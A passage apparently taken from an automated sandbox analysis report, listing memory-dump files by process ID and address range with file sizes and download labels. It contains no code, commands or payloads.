                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4.6MB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/4732-0-0x00000000006A0000-0x0000000000B46000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4.6MB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/4732-3-0x00000000006A0000-0x0000000000B46000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4.6MB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/4732-2-0x00000000006A1000-0x00000000006CF000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    184KB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/4732-1-0x0000000077D84000-0x0000000077D86000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    8KB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/5016-184-0x000000001C270000-0x000000001C282000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    72KB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/5016-85-0x0000000000AF0000-0x0000000000B5C000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    432KB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/5016-220-0x0000000020120000-0x0000000020648000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    5.2MB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/5016-219-0x000000001FA20000-0x000000001FBE2000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    1.8MB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/5016-194-0x000000001CE50000-0x000000001CEC6000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    472KB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/5016-195-0x000000001CDD0000-0x000000001CDEE000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    120KB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/5016-185-0x000000001D180000-0x000000001D1BC000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    240KB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/5016-183-0x000000001F140000-0x000000001F24A000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    1.0MB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/5512-1084-0x0000000007280000-0x000000000728E000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    56KB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/5512-862-0x0000000004A90000-0x0000000004AB2000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    136KB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/5512-1045-0x0000000007580000-0x0000000007BFA000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    6.5MB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/5512-1046-0x0000000006F20000-0x0000000006F3A000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    104KB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/5512-1065-0x000000006DE70000-0x000000006E1C4000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    3.3MB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/5512-863-0x0000000004B30000-0x0000000004B96000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    408KB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/5512-1050-0x00000000070E0000-0x0000000007112000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    200KB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/5512-1087-0x00000000072E0000-0x00000000072E8000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    32KB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/5512-1052-0x0000000071620000-0x000000007166C000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    304KB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/5520-1063-0x00000000073F0000-0x000000000740E000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    120KB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/5520-1077-0x0000000007530000-0x0000000007541000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    68KB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/5520-1086-0x00000000075C0000-0x00000000075DA000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    104KB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/5520-1053-0x000000006DE70000-0x000000006E1C4000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    3.3MB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/5520-1051-0x0000000071620000-0x000000007166C000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    304KB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/5520-1075-0x0000000007500000-0x000000000750A000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    40KB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/5520-1076-0x0000000007CE0000-0x0000000007D76000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    600KB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/5520-1064-0x0000000007410000-0x00000000074B3000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    652KB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/5520-860-0x0000000004880000-0x00000000048B6000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    216KB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/5520-861-0x0000000004EF0000-0x0000000005518000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    6.2MB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/5520-873-0x0000000005840000-0x0000000005B94000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    3.3MB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/5520-1085-0x0000000007580000-0x0000000007594000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    80KB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/5520-884-0x0000000006380000-0x00000000063C4000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    272KB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/5520-883-0x0000000005E50000-0x0000000005E6E000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    120KB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/5656-1574-0x00000000005D0000-0x0000000000C3E000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    6.4MB

                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                  • memory/6020-1461-0x00000000005D0000-0x0000000000C3E000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    6.4MB

                                                                                                                                                                                                                                                                                    Download